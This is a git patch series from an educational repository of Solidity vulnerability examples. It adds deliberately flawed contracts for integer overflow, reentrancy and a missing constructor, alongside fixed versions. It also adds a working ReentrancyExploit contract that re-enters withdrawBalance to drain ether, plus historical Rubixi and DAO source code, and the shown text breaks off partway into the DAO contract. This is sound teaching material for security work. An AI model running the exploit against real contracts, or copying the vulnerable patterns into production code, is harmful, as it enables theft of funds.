From 930ee7c7e7843c07fae25f4e362eabbfb2151320 Mon Sep 17 00:00:00 2001 From: Josselin Date: Mon, 28 Aug 2017 18:26:27 +0100 Subject: [PATCH 01/73] Initial commit - DAO - Integer overflow --- README.md | 18 ++--------- integer_overflow/README.md | 9 ++++++ integer_overflow/interger_overflow_1.sol | 17 +++++++++++ reentrancy/README.md | 12 ++++++++ reentrancy/Reentrancy.sol | 36 ++++++++++++++++++++++ reentrancy/ReentrancyExploit.sol | 38 ++++++++++++++++++++++++ 6 files changed, 114 insertions(+), 16 deletions(-) create mode 100644 integer_overflow/README.md create mode 100644 integer_overflow/interger_overflow_1.sol create mode 100644 reentrancy/README.md create mode 100644 reentrancy/Reentrancy.sol create mode 100644 reentrancy/ReentrancyExploit.sol diff --git a/README.md b/README.md index 6cbbce83..c80b70e9 100644 --- a/README.md +++ b/README.md @@ -1,17 +1,3 @@ -# Building Secure Smart Contracts +# Solidity Vulnerabilities -This repository contains guidelines on how to write secure smart contracts, through best practices and usage of automated tools. - - -**Table of contents:** - -- [Development Guidelines](./development-guidelines): List of best practices -- [Program analysis](./program-analysis): Training material on how to use automated tools to secure contracts. - - [Slither](./program-analysis/slither): a static analyzer which can be used through a cli interface, or through its scripting capabilities. - - [Echidna](./program-analysis/echidna): a fuzzer that will check your contract's properties. - - [Manticore](./program-analysis/manticore): a symbolic execution engine which uses SMT solving to prove the correctness of execution. - -For each tool: - -- The content describes a theoretical introduction, a walkthrough of its API, and a set of exercises. -- The exercises are expected to require two hours. +Examples of common solidity vulnerabilities diff --git a/integer_overflow/README.md b/integer_overflow/README.md new file mode 100644 index 00000000..78284a14 --- /dev/null +++ b/integer_overflow/README.md @@ -0,0 +1,9 @@ +# Integer overflow 1 + +## Principle: +- Integer overflow possible on the function `add` + +## Attack +Once a first call have be made on `add` or `safe_add`, a call to `add` can trigger an integer overflow + + diff --git a/integer_overflow/interger_overflow_1.sol b/integer_overflow/interger_overflow_1.sol new file mode 100644 index 00000000..69f480be --- /dev/null +++ b/integer_overflow/interger_overflow_1.sol @@ -0,0 +1,17 @@ +pragma solidity ^0.4.15; + +contract Overflow { + uint private sellerBalance=0; + + function add(uint value) returns (bool){ + sellerBalance += value; // possible overflow + + // possible auditor assert + // assert(sellerBalance >= value); + } + + function safe_add(uint value) returns (bool){ + require(value + sellerBalance >= sellerBalance); + sellerBalance += value; + } +} diff --git a/reentrancy/README.md b/reentrancy/README.md new file mode 100644 index 00000000..c6c3d954 --- /dev/null +++ b/reentrancy/README.md @@ -0,0 +1,12 @@ +# Re-entrancy vulnerability + +## Principle: +- A state variable is changed after a call to `send` / `call.value` +- The attacker uses the fallback function to execute again the vulnerable function before the state variable are changed + +## Attack +See `RentrancyExploit.sol` to exploit the contract. + +## Known exploit +[DAO](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) + diff --git a/reentrancy/Reentrancy.sol b/reentrancy/Reentrancy.sol new file mode 100644 index 00000000..ce547e4a --- /dev/null +++ b/reentrancy/Reentrancy.sol @@ -0,0 +1,36 @@ +pragma solidity ^0.4.15; + +contract Reentrance { + mapping (address => uint) userBalance; + + function getBalance(address u) constant returns(uint){ + return userBalance[u]; + } + + function addToBalance() payable{ + userBalance[msg.sender] += msg.value; + } + + function withdrawBalance(){ + if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){ + throw; + } + userBalance[msg.sender] = 0; + } + + function withdrawBalance_fixed(){ + uint amount = userBalance[msg.sender]; + userBalance[msg.sender] = 0; + if( ! (msg.sender.call.value(amount)() ) ){ + throw; + } + } + + function withdrawBalance_fixed_2(){ + // transfer is safe against reentrancy + msg.sender.transfer(userBalance[msg.sender]); + userBalance[msg.sender] = 0; + } + +} + diff --git a/reentrancy/ReentrancyExploit.sol b/reentrancy/ReentrancyExploit.sol new file mode 100644 index 00000000..c489698c --- /dev/null +++ b/reentrancy/ReentrancyExploit.sol @@ -0,0 +1,38 @@ +pragma solidity ^0.4.15; + +contract Reentrace{ + function getBalance(address) constant returns(uint); + function addToBalance() payable; + function withdrawBalance(); +} + +contract ReentranceExploit { + bool public attackModeIsOn=false; + int public was_here=0; + int public and_here=0; + int public depook=0; + address public r; + + function deposit(address r_){ + r = r_ ; + r.call.value(500000000000000000)(bytes4(sha3("addToBalance()"))); + } + + function launch_attack(){ + attackModeIsOn = true; + r.call(bytes4(sha3("withdrawBalance()"))); + } + + + function () payable{ + if (attackModeIsOn){ + attackModeIsOn = false; + r.call(bytes4(sha3("withdrawBalance()"))); + } + } + + function get_money(address a){ + suicide(a); + } + +} From 0dff584abf9caae887712da7daa7576a7524b11d Mon Sep 17 00:00:00 2001 From: Josselin Date: Tue, 29 Aug 2017 10:03:39 +0100 Subject: [PATCH 02/73] Add new examples: - missing constructor - unprotected function - wrong interface Add DAO and Paritity Wallet source code --- missing_constructor/Missing.sol | 25 + missing_constructor/README.md | 11 + .../Rubixi_source_code/Rubixi.sol | 154 ++ reentrancy/DAO_source_code/DAO.sol | 1238 +++++++++++++++++ unprotected_function/README.md | 10 + unprotected_function/Unprotected.sol | 30 + .../WalletLibrary.sol | 462 ++++++ wrong_interface/Alice.sol | 18 + wrong_interface/Bob.sol | 17 + wrong_interface/README.md | 76 + 10 files changed, 2041 insertions(+) create mode 100644 missing_constructor/Missing.sol create mode 100644 missing_constructor/README.md create mode 100644 missing_constructor/Rubixi_source_code/Rubixi.sol create mode 100644 reentrancy/DAO_source_code/DAO.sol create mode 100644 unprotected_function/README.md create mode 100644 unprotected_function/Unprotected.sol create mode 100644 unprotected_function/WalletLibrary_source_code/WalletLibrary.sol create mode 100644 wrong_interface/Alice.sol create mode 100644 wrong_interface/Bob.sol create mode 100644 wrong_interface/README.md diff --git a/missing_constructor/Missing.sol b/missing_constructor/Missing.sol new file mode 100644 index 00000000..a3090a32 --- /dev/null +++ b/missing_constructor/Missing.sol @@ -0,0 +1,25 @@ +pragma solidity ^0.4.15; + +contract Missing{ + address private owner; + + modifier onlyowner { + require(msg.sender==owner); + _; + } + + // The name of the constructor should be Missing + // Anyone can call the IamMissing once the contract is deployed + function IamMissing() + public + { + owner = msg.sender; + } + + function withdraw() + public + onlyowner + { + owner.transfer(this.balance); + } +} diff --git a/missing_constructor/README.md b/missing_constructor/README.md new file mode 100644 index 00000000..704d869f --- /dev/null +++ b/missing_constructor/README.md @@ -0,0 +1,11 @@ +# Unprotected function + +## Principle: +- Wrong constructor name + +## Attack +Anyone can call the function that was suppose to be the constructor, and changes the related state variables. + +## Known exploit +[Rubixi](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code) +- See `Rubixi_source_code/Rubixi.sol`: `DynamicPyramid` instead of `Rubixi` diff --git a/missing_constructor/Rubixi_source_code/Rubixi.sol b/missing_constructor/Rubixi_source_code/Rubixi.sol new file mode 100644 index 00000000..e4fad753 --- /dev/null +++ b/missing_constructor/Rubixi_source_code/Rubixi.sol @@ -0,0 +1,154 @@ +// 0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code + +contract Rubixi { + + //Declare variables for storage critical to contract + uint private balance = 0; + uint private collectedFees = 0; + uint private feePercent = 10; + uint private pyramidMultiplier = 300; + uint private payoutOrder = 0; + + address private creator; + + //Sets creator + function DynamicPyramid() { + creator = msg.sender; + } + + modifier onlyowner { + if (msg.sender == creator) _ + } + + struct Participant { + address etherAddress; + uint payout; + } + + Participant[] private participants; + + //Fallback function + function() { + init(); + } + + //init function run on fallback + function init() private { + //Ensures only tx with value of 1 ether or greater are processed and added to pyramid + if (msg.value < 1 ether) { + collectedFees += msg.value; + return; + } + + uint _fee = feePercent; + //50% fee rebate on any ether value of 50 or greater + if (msg.value >= 50 ether) _fee /= 2; + + addPayout(_fee); + } + + //Function called for valid tx to the contract + function addPayout(uint _fee) private { + //Adds new address to participant array + participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100)); + + //These statements ensure a quicker payout system to later pyramid entrants, so the pyramid has a longer lifespan + if (participants.length == 10) pyramidMultiplier = 200; + else if (participants.length == 25) pyramidMultiplier = 150; + + // collect fees and update contract balance + balance += (msg.value * (100 - _fee)) / 100; + collectedFees += (msg.value * _fee) / 100; + + //Pays earlier participiants if balance sufficient + while (balance > participants[payoutOrder].payout) { + uint payoutToSend = participants[payoutOrder].payout; + participants[payoutOrder].etherAddress.send(payoutToSend); + + balance -= participants[payoutOrder].payout; + payoutOrder += 1; + } + } + + //Fee functions for creator + function collectAllFees() onlyowner { + if (collectedFees == 0) throw; + + creator.send(collectedFees); + collectedFees = 0; + } + + function collectFeesInEther(uint _amt) onlyowner { + _amt *= 1 ether; + if (_amt > collectedFees) collectAllFees(); + + if (collectedFees == 0) throw; + + creator.send(_amt); + collectedFees -= _amt; + } + + function collectPercentOfFees(uint _pcent) onlyowner { + if (collectedFees == 0 || _pcent > 100) throw; + + uint feesToCollect = collectedFees / 100 * _pcent; + creator.send(feesToCollect); + collectedFees -= feesToCollect; + } + + //Functions for changing variables related to the contract + function changeOwner(address _owner) onlyowner { + creator = _owner; + } + + function changeMultiplier(uint _mult) onlyowner { + if (_mult > 300 || _mult < 120) throw; + + pyramidMultiplier = _mult; + } + + function changeFeePercentage(uint _fee) onlyowner { + if (_fee > 10) throw; + + feePercent = _fee; + } + + //Functions to provide information to end-user using JSON interface or other interfaces + function currentMultiplier() constant returns(uint multiplier, string info) { + multiplier = pyramidMultiplier; + info = 'This multiplier applies to you as soon as transaction is received, may be lowered to hasten payouts or increased if payouts are fast enough. Due to no float or decimals, multiplier is x100 for a fractional multiplier e.g. 250 is actually a 2.5x multiplier. Capped at 3x max and 1.2x min.'; + } + + function currentFeePercentage() constant returns(uint fee, string info) { + fee = feePercent; + info = 'Shown in % form. Fee is halved(50%) for amounts equal or greater than 50 ethers. (Fee may change, but is capped to a maximum of 10%)'; + } + + function currentPyramidBalanceApproximately() constant returns(uint pyramidBalance, string info) { + pyramidBalance = balance / 1 ether; + info = 'All balance values are measured in Ethers, note that due to no decimal placing, these values show up as integers only, within the contract itself you will get the exact decimal value you are supposed to'; + } + + function nextPayoutWhenPyramidBalanceTotalsApproximately() constant returns(uint balancePayout) { + balancePayout = participants[payoutOrder].payout / 1 ether; + } + + function feesSeperateFromBalanceApproximately() constant returns(uint fees) { + fees = collectedFees / 1 ether; + } + + function totalParticipants() constant returns(uint count) { + count = participants.length; + } + + function numberOfParticipantsWaitingForPayout() constant returns(uint count) { + count = participants.length - payoutOrder; + } + + function participantDetails(uint orderInPyramid) constant returns(address Address, uint Payout) { + if (orderInPyramid <= participants.length) { + Address = participants[orderInPyramid].etherAddress; + Payout = participants[orderInPyramid].payout / 1 ether; + } + } +} diff --git a/reentrancy/DAO_source_code/DAO.sol b/reentrancy/DAO_source_code/DAO.sol new file mode 100644 index 00000000..9f54a52e --- /dev/null +++ b/reentrancy/DAO_source_code/DAO.sol @@ -0,0 +1,1238 @@ +// 0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code + +/* + +- Bytecode Verification performed was compared on second iteration - + +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Basic, standardized Token contract with no "premine". Defines the functions to +check token balances, send tokens, send tokens on behalf of a 3rd party and the +corresponding approval process. Tokens need to be created by a derived +contract (e.g. TokenCreation.sol). + +Thank you ConsenSys, this contract originated from: +https://github.com/ConsenSys/Tokens/blob/master/Token_Contracts/contracts/Standard_Token.sol +Which is itself based on the Ethereum standardized contract APIs: +https://github.com/ethereum/wiki/wiki/Standardized_Contract_APIs +*/ + +/// @title Standard Token Contract. + +contract TokenInterface { + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + + /// Total amount of tokens + uint256 public totalSupply; + + /// @param _owner The address from which the balance will be retrieved + /// @return The balance + function balanceOf(address _owner) constant returns (uint256 balance); + + /// @notice Send `_amount` tokens to `_to` from `msg.sender` + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transferred + /// @return Whether the transfer was successful or not + function transfer(address _to, uint256 _amount) returns (bool success); + + /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it + /// is approved by `_from` + /// @param _from The address of the origin of the transfer + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transferred + /// @return Whether the transfer was successful or not + function transferFrom(address _from, address _to, uint256 _amount) returns (bool success); + + /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on + /// its behalf + /// @param _spender The address of the account able to transfer the tokens + /// @param _amount The amount of tokens to be approved for transfer + /// @return Whether the approval was successful or not + function approve(address _spender, uint256 _amount) returns (bool success); + + /// @param _owner The address of the account owning tokens + /// @param _spender The address of the account able to transfer the tokens + /// @return Amount of remaining tokens of _owner that _spender is allowed + /// to spend + function allowance( + address _owner, + address _spender + ) constant returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); +} + + +contract Token is TokenInterface { + // Protects users by preventing the execution of method calls that + // inadvertently also transferred ether + modifier noEther() {if (msg.value > 0) throw; _} + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function transfer(address _to, uint256 _amount) noEther returns (bool success) { + if (balances[msg.sender] >= _amount && _amount > 0) { + balances[msg.sender] -= _amount; + balances[_to] += _amount; + Transfer(msg.sender, _to, _amount); + return true; + } else { + return false; + } + } + + function transferFrom( + address _from, + address _to, + uint256 _amount + ) noEther returns (bool success) { + + if (balances[_from] >= _amount + && allowed[_from][msg.sender] >= _amount + && _amount > 0) { + + balances[_to] += _amount; + balances[_from] -= _amount; + allowed[_from][msg.sender] -= _amount; + Transfer(_from, _to, _amount); + return true; + } else { + return false; + } + } + + function approve(address _spender, uint256 _amount) returns (bool success) { + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} + + +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Basic account, used by the DAO contract to separately manage both the rewards +and the extraBalance accounts. +*/ + +contract ManagedAccountInterface { + // The only address with permission to withdraw from this account + address public owner; + // If true, only the owner of the account can receive ether from it + bool public payOwnerOnly; + // The sum of ether (in wei) which has been sent to this contract + uint public accumulatedInput; + + /// @notice Sends `_amount` of wei to _recipient + /// @param _amount The amount of wei to send to `_recipient` + /// @param _recipient The address to receive `_amount` of wei + /// @return True if the send completed + function payOut(address _recipient, uint _amount) returns (bool); + + event PayOut(address indexed _recipient, uint _amount); +} + + +contract ManagedAccount is ManagedAccountInterface{ + + // The constructor sets the owner of the account + function ManagedAccount(address _owner, bool _payOwnerOnly) { + owner = _owner; + payOwnerOnly = _payOwnerOnly; + } + + // When the contract receives a transaction without data this is called. + // It counts the amount of ether it receives and stores it in + // accumulatedInput. + function() { + accumulatedInput += msg.value; + } + + function payOut(address _recipient, uint _amount) returns (bool) { + if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) + throw; + if (_recipient.call.value(_amount)()) { + PayOut(_recipient, _amount); + return true; + } else { + return false; + } + } +} +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* + * Token Creation contract, used by the DAO to create its tokens and initialize + * its ether. Feel free to modify the divisor method to implement different + * Token Creation parameters +*/ + + +contract TokenCreationInterface { + + // End of token creation, in Unix time + uint public closingTime; + // Minimum fueling goal of the token creation, denominated in tokens to + // be created + uint public minTokensToCreate; + // True if the DAO reached its minimum fueling goal, false otherwise + bool public isFueled; + // For DAO splits - if privateCreation is 0, then it is a public token + // creation, otherwise only the address stored in privateCreation is + // allowed to create tokens + address public privateCreation; + // hold extra ether which has been sent after the DAO token + // creation rate has increased + ManagedAccount public extraBalance; + // tracks the amount of wei given from each contributor (used for refund) + mapping (address => uint256) weiGiven; + + /// @dev Constructor setting the minimum fueling goal and the + /// end of the Token Creation + /// @param _minTokensToCreate Minimum fueling goal in number of + /// Tokens to be created + /// @param _closingTime Date (in Unix time) of the end of the Token Creation + /// @param _privateCreation Zero means that the creation is public. A + /// non-zero address represents the only address that can create Tokens + /// (the address can also create Tokens on behalf of other accounts) + // This is the constructor: it can not be overloaded so it is commented out + // function TokenCreation( + // uint _minTokensTocreate, + // uint _closingTime, + // address _privateCreation + // ); + + /// @notice Create Token with `_tokenHolder` as the initial owner of the Token + /// @param _tokenHolder The address of the Tokens's recipient + /// @return Whether the token creation was successful + function createTokenProxy(address _tokenHolder) returns (bool success); + + /// @notice Refund `msg.sender` in the case the Token Creation did + /// not reach its minimum fueling goal + function refund(); + + /// @return The divisor used to calculate the token creation rate during + /// the creation phase + function divisor() constant returns (uint divisor); + + event FuelingToDate(uint value); + event CreatedToken(address indexed to, uint amount); + event Refund(address indexed to, uint value); +} + + +contract TokenCreation is TokenCreationInterface, Token { + function TokenCreation( + uint _minTokensToCreate, + uint _closingTime, + address _privateCreation) { + + closingTime = _closingTime; + minTokensToCreate = _minTokensToCreate; + privateCreation = _privateCreation; + extraBalance = new ManagedAccount(address(this), true); + } + + function createTokenProxy(address _tokenHolder) returns (bool success) { + if (now < closingTime && msg.value > 0 + && (privateCreation == 0 || privateCreation == msg.sender)) { + + uint token = (msg.value * 20) / divisor(); + extraBalance.call.value(msg.value - token)(); + balances[_tokenHolder] += token; + totalSupply += token; + weiGiven[_tokenHolder] += msg.value; + CreatedToken(_tokenHolder, token); + if (totalSupply >= minTokensToCreate && !isFueled) { + isFueled = true; + FuelingToDate(totalSupply); + } + return true; + } + throw; + } + + function refund() noEther { + if (now > closingTime && !isFueled) { + // Get extraBalance - will only succeed when called for the first time + if (extraBalance.balance >= extraBalance.accumulatedInput()) + extraBalance.payOut(address(this), extraBalance.accumulatedInput()); + + // Execute refund + if (msg.sender.call.value(weiGiven[msg.sender])()) { + Refund(msg.sender, weiGiven[msg.sender]); + totalSupply -= balances[msg.sender]; + balances[msg.sender] = 0; + weiGiven[msg.sender] = 0; + } + } + } + + function divisor() constant returns (uint divisor) { + // The number of (base unit) tokens per wei is calculated + // as `msg.value` * 20 / `divisor` + // The fueling period starts with a 1:1 ratio + if (closingTime - 2 weeks > now) { + return 20; + // Followed by 10 days with a daily creation rate increase of 5% + } else if (closingTime - 4 days > now) { + return (20 + (now - (closingTime - 2 weeks)) / (1 days)); + // The last 4 days there is a constant creation rate ratio of 1:1.5 + } else { + return 30; + } + } +} +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Standard smart contract for a Decentralized Autonomous Organization (DAO) +to automate organizational governance and decision-making. +*/ + + +contract DAOInterface { + + // The amount of days for which people who try to participate in the + // creation by calling the fallback function will still get their ether back + uint constant creationGracePeriod = 40 days; + // The minimum debate period that a generic proposal can have + uint constant minProposalDebatePeriod = 2 weeks; + // The minimum debate period that a split proposal can have + uint constant minSplitDebatePeriod = 1 weeks; + // Period of days inside which it's possible to execute a DAO split + uint constant splitExecutionPeriod = 27 days; + // Period of time after which the minimum Quorum is halved + uint constant quorumHalvingPeriod = 25 weeks; + // Period after which a proposal is closed + // (used in the case `executeProposal` fails because it throws) + uint constant executeProposalPeriod = 10 days; + // Denotes the maximum proposal deposit that can be given. It is given as + // a fraction of total Ether spent plus balance of the DAO + uint constant maxDepositDivisor = 100; + + // Proposals to spend the DAO's ether or to choose a new Curator + Proposal[] public proposals; + // The quorum needed for each proposal is partially calculated by + // totalSupply / minQuorumDivisor + uint public minQuorumDivisor; + // The unix time of the last time quorum was reached on a proposal + uint public lastTimeMinQuorumMet; + + // Address of the curator + address public curator; + // The whitelist: List of addresses the DAO is allowed to send ether to + mapping (address => bool) public allowedRecipients; + + // Tracks the addresses that own Reward Tokens. Those addresses can only be + // DAOs that have split from the original DAO. Conceptually, Reward Tokens + // represent the proportion of the rewards that the DAO has the right to + // receive. These Reward Tokens are generated when the DAO spends ether. + mapping (address => uint) public rewardToken; + // Total supply of rewardToken + uint public totalRewardToken; + + // The account used to manage the rewards which are to be distributed to the + // DAO Token Holders of this DAO + ManagedAccount public rewardAccount; + + // The account used to manage the rewards which are to be distributed to + // any DAO that holds Reward Tokens + ManagedAccount public DAOrewardAccount; + + // Amount of rewards (in wei) already paid out to a certain DAO + mapping (address => uint) public DAOpaidOut; + + // Amount of rewards (in wei) already paid out to a certain address + mapping (address => uint) public paidOut; + // Map of addresses blocked during a vote (not allowed to transfer DAO + // tokens). The address points to the proposal ID. + mapping (address => uint) public blocked; + + // The minimum deposit (in wei) required to submit any proposal that is not + // requesting a new Curator (no deposit is required for splits) + uint public proposalDeposit; + + // the accumulated sum of all current proposal deposits + uint sumOfProposalDeposits; + + // Contract that is able to create a new DAO (with the same code as + // this one), used for splits + DAO_Creator public daoCreator; + + // A proposal with `newCurator == false` represents a transaction + // to be issued by this DAO + // A proposal with `newCurator == true` represents a DAO split + struct Proposal { + // The address where the `amount` will go to if the proposal is accepted + // or if `newCurator` is true, the proposed Curator of + // the new DAO). + address recipient; + // The amount to transfer to `recipient` if the proposal is accepted. + uint amount; + // A plain text description of the proposal + string description; + // A unix timestamp, denoting the end of the voting period + uint votingDeadline; + // True if the proposal's votes have yet to be counted, otherwise False + bool open; + // True if quorum has been reached, the votes have been counted, and + // the majority said yes + bool proposalPassed; + // A hash to check validity of a proposal + bytes32 proposalHash; + // Deposit in wei the creator added when submitting their proposal. It + // is taken from the msg.value of a newProposal call. + uint proposalDeposit; + // True if this proposal is to assign a new Curator + bool newCurator; + // Data needed for splitting the DAO + SplitData[] splitData; + // Number of Tokens in favor of the proposal + uint yea; + // Number of Tokens opposed to the proposal + uint nay; + // Simple mapping to check if a shareholder has voted for it + mapping (address => bool) votedYes; + // Simple mapping to check if a shareholder has voted against it + mapping (address => bool) votedNo; + // Address of the shareholder who created the proposal + address creator; + } + + // Used only in the case of a newCurator proposal. + struct SplitData { + // The balance of the current DAO minus the deposit at the time of split + uint splitBalance; + // The total amount of DAO Tokens in existence at the time of split. + uint totalSupply; + // Amount of Reward Tokens owned by the DAO at the time of split. + uint rewardToken; + // The new DAO contract created at the time of split. + DAO newDAO; + } + + // Used to restrict access to certain functions to only DAO Token Holders + modifier onlyTokenholders {} + + /// @dev Constructor setting the Curator and the address + /// for the contract able to create another DAO as well as the parameters + /// for the DAO Token Creation + /// @param _curator The Curator + /// @param _daoCreator The contract able to (re)create this DAO + /// @param _proposalDeposit The deposit to be paid for a regular proposal + /// @param _minTokensToCreate Minimum required wei-equivalent tokens + /// to be created for a successful DAO Token Creation + /// @param _closingTime Date (in Unix time) of the end of the DAO Token Creation + /// @param _privateCreation If zero the DAO Token Creation is open to public, a + /// non-zero address means that the DAO Token Creation is only for the address + // This is the constructor: it can not be overloaded so it is commented out + // function DAO( + // address _curator, + // DAO_Creator _daoCreator, + // uint _proposalDeposit, + // uint _minTokensToCreate, + // uint _closingTime, + // address _privateCreation + // ); + + /// @notice Create Token with `msg.sender` as the beneficiary + /// @return Whether the token creation was successful + function () returns (bool success); + + + /// @dev This function is used to send ether back + /// to the DAO, it can also be used to receive payments that should not be + /// counted as rewards (donations, grants, etc.) + /// @return Whether the DAO received the ether successfully + function receiveEther() returns(bool); + + /// @notice `msg.sender` creates a proposal to send `_amount` Wei to + /// `_recipient` with the transaction data `_transactionData`. If + /// `_newCurator` is true, then this is a proposal that splits the + /// DAO and sets `_recipient` as the new DAO's Curator. + /// @param _recipient Address of the recipient of the proposed transaction + /// @param _amount Amount of wei to be sent with the proposed transaction + /// @param _description String describing the proposal + /// @param _transactionData Data of the proposed transaction + /// @param _debatingPeriod Time used for debating a proposal, at least 2 + /// weeks for a regular proposal, 10 days for new Curator proposal + /// @param _newCurator Bool defining whether this proposal is about + /// a new Curator or not + /// @return The proposal ID. Needed for voting on the proposal + function newProposal( + address _recipient, + uint _amount, + string _description, + bytes _transactionData, + uint _debatingPeriod, + bool _newCurator + ) onlyTokenholders returns (uint _proposalID); + + /// @notice Check that the proposal with the ID `_proposalID` matches the + /// transaction which sends `_amount` with data `_transactionData` + /// to `_recipient` + /// @param _proposalID The proposal ID + /// @param _recipient The recipient of the proposed transaction + /// @param _amount The amount of wei to be sent in the proposed transaction + /// @param _transactionData The data of the proposed transaction + /// @return Whether the proposal ID matches the transaction data or not + function checkProposalCode( + uint _proposalID, + address _recipient, + uint _amount, + bytes _transactionData + ) constant returns (bool _codeChecksOut); + + /// @notice Vote on proposal `_proposalID` with `_supportsProposal` + /// @param _proposalID The proposal ID + /// @param _supportsProposal Yes/No - support of the proposal + /// @return The vote ID. + function vote( + uint _proposalID, + bool _supportsProposal + ) onlyTokenholders returns (uint _voteID); + + /// @notice Checks whether proposal `_proposalID` with transaction data + /// `_transactionData` has been voted for or rejected, and executes the + /// transaction in the case it has been voted for. + /// @param _proposalID The proposal ID + /// @param _transactionData The data of the proposed transaction + /// @return Whether the proposed transaction has been executed or not + function executeProposal( + uint _proposalID, + bytes _transactionData + ) returns (bool _success); + + /// @notice ATTENTION! I confirm to move my remaining ether to a new DAO + /// with `_newCurator` as the new Curator, as has been + /// proposed in proposal `_proposalID`. This will burn my tokens. This can + /// not be undone and will split the DAO into two DAO's, with two + /// different underlying tokens. + /// @param _proposalID The proposal ID + /// @param _newCurator The new Curator of the new DAO + /// @dev This function, when called for the first time for this proposal, + /// will create a new DAO and send the sender's portion of the remaining + /// ether and Reward Tokens to the new DAO. It will also burn the DAO Tokens + /// of the sender. + function splitDAO( + uint _proposalID, + address _newCurator + ) returns (bool _success); + + /// @dev can only be called by the DAO itself through a proposal + /// updates the contract of the DAO by sending all ether and rewardTokens + /// to the new DAO. The new DAO needs to be approved by the Curator + /// @param _newContract the address of the new contract + function newContract(address _newContract); + + + /// @notice Add a new possible recipient `_recipient` to the whitelist so + /// that the DAO can send transactions to them (using proposals) + /// @param _recipient New recipient address + /// @dev Can only be called by the current Curator + /// @return Whether successful or not + function changeAllowedRecipients(address _recipient, bool _allowed) external returns (bool _success); + + + /// @notice Change the minimum deposit required to submit a proposal + /// @param _proposalDeposit The new proposal deposit + /// @dev Can only be called by this DAO (through proposals with the + /// recipient being this DAO itself) + function changeProposalDeposit(uint _proposalDeposit) external; + + /// @notice Move rewards from the DAORewards managed account + /// @param _toMembers If true rewards are moved to the actual reward account + /// for the DAO. If not then it's moved to the DAO itself + /// @return Whether the call was successful + function retrieveDAOReward(bool _toMembers) external returns (bool _success); + + /// @notice Get my portion of the reward that was sent to `rewardAccount` + /// @return Whether the call was successful + function getMyReward() returns(bool _success); + + /// @notice Withdraw `_account`'s portion of the reward from `rewardAccount` + /// to `_account`'s balance + /// @return Whether the call was successful + function withdrawRewardFor(address _account) internal returns (bool _success); + + /// @notice Send `_amount` tokens to `_to` from `msg.sender`. Prior to this + /// getMyReward() is called. + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transfered + /// @return Whether the transfer was successful or not + function transferWithoutReward(address _to, uint256 _amount) returns (bool success); + + /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it + /// is approved by `_from`. Prior to this getMyReward() is called. + /// @param _from The address of the sender + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transfered + /// @return Whether the transfer was successful or not + function transferFromWithoutReward( + address _from, + address _to, + uint256 _amount + ) returns (bool success); + + /// @notice Doubles the 'minQuorumDivisor' in the case quorum has not been + /// achieved in 52 weeks + /// @return Whether the change was successful or not + function halveMinQuorum() returns (bool _success); + + /// @return total number of proposals ever created + function numberOfProposals() constant returns (uint _numberOfProposals); + + /// @param _proposalID Id of the new curator proposal + /// @return Address of the new DAO + function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO); + + /// @param _account The address of the account which is checked. + /// @return Whether the account is blocked (not allowed to transfer tokens) or not. + function isBlocked(address _account) internal returns (bool); + + /// @notice If the caller is blocked by a proposal whose voting deadline + /// has exprired then unblock him. + /// @return Whether the account is blocked (not allowed to transfer tokens) or not. + function unblockMe() returns (bool); + + event ProposalAdded( + uint indexed proposalID, + address recipient, + uint amount, + bool newCurator, + string description + ); + event Voted(uint indexed proposalID, bool position, address indexed voter); + event ProposalTallied(uint indexed proposalID, bool result, uint quorum); + event NewCurator(address indexed _newCurator); + event AllowedRecipientChanged(address indexed _recipient, bool _allowed); +} + +// The DAO contract itself +contract DAO 